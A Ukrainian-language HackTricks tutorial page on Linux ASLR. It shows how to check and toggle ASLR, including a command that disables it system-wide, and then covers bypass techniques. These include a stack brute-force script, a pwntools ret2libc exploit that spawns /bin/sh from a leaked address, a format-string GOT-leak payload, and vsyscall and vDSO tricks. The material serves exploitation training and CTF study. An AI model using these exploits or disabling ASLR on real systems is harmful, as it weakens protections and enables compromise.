# ASLR {{#include ../../../banners/hacktricks-training.md}} ## Основна інформація **Address Space Layout Randomization (ASLR)** - це техніка безпеки, що використовується в операційних системах для **випадкового розташування адрес пам'яті**, які використовуються системними та прикладними процесами. Це ускладнює зловмиснику передбачити місцезнаходження конкретних процесів і даних, таких як стек, купа та бібліотеки, що зменшує ризик певних типів експлойтів, зокрема переповнень буфера. ### **Перевірка статусу ASLR** Щоб **перевірити** статус ASLR на системі Linux, ви можете прочитати значення з файлу **`/proc/sys/kernel/randomize_va_space`**. Значення, збережене в цьому файлі, визначає тип ASLR, що застосовується: - **0**: Немає випадкового розташування. Все статичне. - **1**: Консервативне випадкове розташування. Спільні бібліотеки, стек, mmap(), сторінка VDSO випадкові. - **2**: Повне випадкове розташування. На додаток до елементів, випадкових за допомогою консервативного випадкового розташування, пам'ять, керована через `brk()`, також випадкова. Ви можете перевірити статус ASLR за допомогою наступної команди: ```bash cat /proc/sys/kernel/randomize_va_space ``` ### **Вимкнення ASLR** Щоб **вимкнути** ASLR, ви повинні встановити значення `/proc/sys/kernel/randomize_va_space` на **0**. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або налагодження. Ось як ви можете це зробити: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` Ви також можете вимкнути ASLR для виконання за допомогою: ```bash setarch `arch` -R ./bin args setarch `uname -m` -R ./bin args ``` ### **Увімкнення ASLR** Щоб **увімкнути** ASLR, ви можете записати значення **2** у файл `/proc/sys/kernel/randomize_va_space`. Це зазвичай вимагає прав root. Увімкнення повної рандомізації можна зробити за допомогою наступної команди: ```bash echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Стійкість під час перезавантаження** Зміни, внесені за допомогою команд `echo`, є тимчасовими і будуть скинуті після перезавантаження. Щоб зробити зміни постійними, вам потрібно відредагувати файл `/etc/sysctl.conf` і додати або змінити наступний рядок: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or kernel.randomize_va_space=0 # Disable ASLR ``` Після редагування `/etc/sysctl.conf`, застосуйте зміни за допомогою: ```bash sudo sysctl -p ``` Це забезпечить збереження ваших налаштувань ASLR після перезавантаження. ## **Обходи** ### 32-бітний брутфорс PaX ділить адресний простір процесу на **3 групи**: - **Код і дані** (ініціалізовані та неініціалізовані): `.text`, `.data` та `.bss` —> **16 біт** ентропії в змінній `delta_exec`. Ця змінна випадковим чином ініціалізується з кожним процесом і додається до початкових адрес. - **Пам'ять**, виділена за допомогою `mmap()`, та **спільні бібліотеки** —> **16 біт**, названі `delta_mmap`. - **Стек** —> **24 біти**, що називається `delta_stack`. Однак, фактично використовується **11 біт** (з 10-го до 20-го байта включно), вирівняних на **16 байт** —> Це призводить до **524,288 можливих реальних адрес стеку**. Попередні дані стосуються 32-бітних систем, а зменшена фінальна ентропія дозволяє обійти ASLR, повторюючи виконання знову і знову, поки експлойт не завершиться успішно. #### Ідеї для брутфорсу: - Якщо у вас є достатньо великий переповнення, щоб вмістити **великий NOP слайд перед shellcode**, ви можете просто брутфорсити адреси в стеку, поки потік **не стрибне через якусь частину NOP слайду**. - Інший варіант для цього, якщо переповнення не таке велике, і експлойт можна запустити локально, — це **додати NOP слайд і shellcode в змінну середовища**. - Якщо експлойт локальний, ви можете спробувати брутфорсити базову адресу libc (корисно для 32-бітних систем): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` - Якщо ви атакуєте віддалений сервер, ви можете спробувати **брутфорсити адресу функції `libc` `usleep`**, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент **сервер відповідає на 10 секунд довше**, ви знайшли адресу цієї функції. > [!TIP] > У 64-бітних системах ентропія значно вища, і це не повинно бути можливим. ### Брутфорс стеку 64 біти Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб його експлуатувати.\ Наступний код показує, як можливо **просто вибрати адресу в стеці** і кожні **кілька сотень виконань** ця адреса міститиме **інструкцію NOP**: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include int main() { unsigned long long address = 0xffffff1e7e38; unsigned int* ptr = (unsigned int*)address; unsigned int value = *ptr; printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value); return 0; } ``` ```python import subprocess import traceback # Start the process nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops # Define the environment variables you want to set env_vars = { 'a': shellcode_env_var, 'b': shellcode_env_var, 'c': shellcode_env_var, 'd': shellcode_env_var, 'e': shellcode_env_var, 'f': shellcode_env_var, 'g': shellcode_env_var, 'h': shellcode_env_var, 'i': shellcode_env_var, 'j': shellcode_env_var, 'k': shellcode_env_var, 'l': shellcode_env_var, 'm': shellcode_env_var, 'n': shellcode_env_var, 'o': shellcode_env_var, 'p': shellcode_env_var, } cont = 0 while True: cont += 1 if cont % 10000 == 0: break print(cont, end="\r") # Define the path to your binary binary_path = './aslr-testing' try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if "0xd5" in str(output): print(str(cont) + " -> " + output) except Exception as e: print(e) print(traceback.format_exc()) pass ```
### Локальна інформація (`/proc/[pid]/stat`) Файл **`/proc/[pid]/stat`** процесу завжди доступний для читання всім і **містить цікаву** інформацію, таку як: - **startcode** & **endcode**: Адреси вище і нижче з **TEXT** бінарного файлу - **startstack**: Адреса початку **стеку** - **start_data** & **end_data**: Адреси вище і нижче, де знаходиться **BSS** - **kstkesp** & **kstkeip**: Поточні адреси **ESP** та **EIP** - **arg_start** & **arg_end**: Адреси вище і нижче, де знаходяться **cli аргументи**. - **env_start** &**env_end**: Адреси вище і нижче, де знаходяться **змінні середовища**. Отже, якщо атакуючий знаходиться на тому ж комп'ютері, що й бінарний файл, який експлуатується, і цей бінарний файл не очікує переповнення з сирих аргументів, а з іншого **входу, який можна створити після читання цього файлу**. Атакуючий може **отримати деякі адреси з цього файлу та побудувати з них офсети для експлуатації**. > [!TIP] > Для отримання додаткової інформації про цей файл перегляньте [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), шукаючи `/proc/pid/stat` ### Маючи витік - **Виклик полягає у наданні витоку** Якщо вам надано витік (легкі CTF виклики), ви можете розрахувати офсети з нього (припустимо, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлуатації витягнуто з [**прикладу звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (перегляньте цю сторінку для отримання додаткових деталей): ```python from pwn import * elf = context.binary = ELF('./vuln-32') libc = elf.libc p = process() p.recvuntil('at: ') system_leak = int(p.recvline(), 16) libc.address = system_leak - libc.sym['system'] log.success(f'LIBC base: {hex(libc.address)}') payload = flat( 'A' * 32, libc.sym['system'], 0x0, # return address next(libc.search(b'/bin/sh')) ) p.sendline(payload) p.interactive() ``` - **ret2plt** Зловживаючи переповненням буфера, можна експлуатувати **ret2plt** для ексфільтрації адреси функції з libc. Перевірте: {{#ref}} ret2plt.md {{#endref}} - **Format Strings Arbitrary Read** Так само, як у ret2plt, якщо у вас є довільне читання через вразливість форматних рядків, можливо ексфільтрувати адресу **функції libc** з GOT. Наступний [**приклад звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' payload += b'%3$s' # The third parameter points at the start of the buffer # this part is only relevant if you need to call the main function again payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer payload += p32(elf.symbols['main']) ``` Ви можете знайти більше інформації про довільне читання форматних рядків у: {{#ref}} ../../format-strings/ {{#endref}} ### Ret2ret & Ret2pop Спробуйте обійти ASLR, зловживаючи адресами всередині стеку: {{#ref}} ret2ret.md {{#endref}} ### vsyscall Механізм **`vsyscall`** служить для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони є фундаментальною частиною ядра. Критична перевага **vsyscalls** полягає в їх **фіксованих адресах**, які не підлягають **ASLR** (випадкове розташування адресного простору). Ця фіксована природа означає, що зловмисники не потребують вразливості витоку інформації, щоб визначити свої адреси та використовувати їх у експлойті.\ Однак тут не буде знайдено супер цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент `ret;`) (Наступний приклад і код є [**з цього опису**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation)) Наприклад, зловмисник може використовувати адресу `0xffffffffff600800` в експлойті. Хоча спроба стрибнути безпосередньо до інструкції `ret` може призвести до нестабільності або збоїв після виконання кількох гаджетів, стрибок на початок `syscall`, наданого секцією **vsyscall**, може виявитися успішним. Обережно розміщуючи гаджет **ROP**, який веде виконання до цієї адреси **vsyscall**, зловмисник може досягти виконання коду без необхідності обходити **ASLR** для цієї частини експлойту. ``` ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g 
 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
```
### vDSO

Зверніть увагу, як може бути можливим **обійти ASLR, використовуючи vdso**, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:

{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}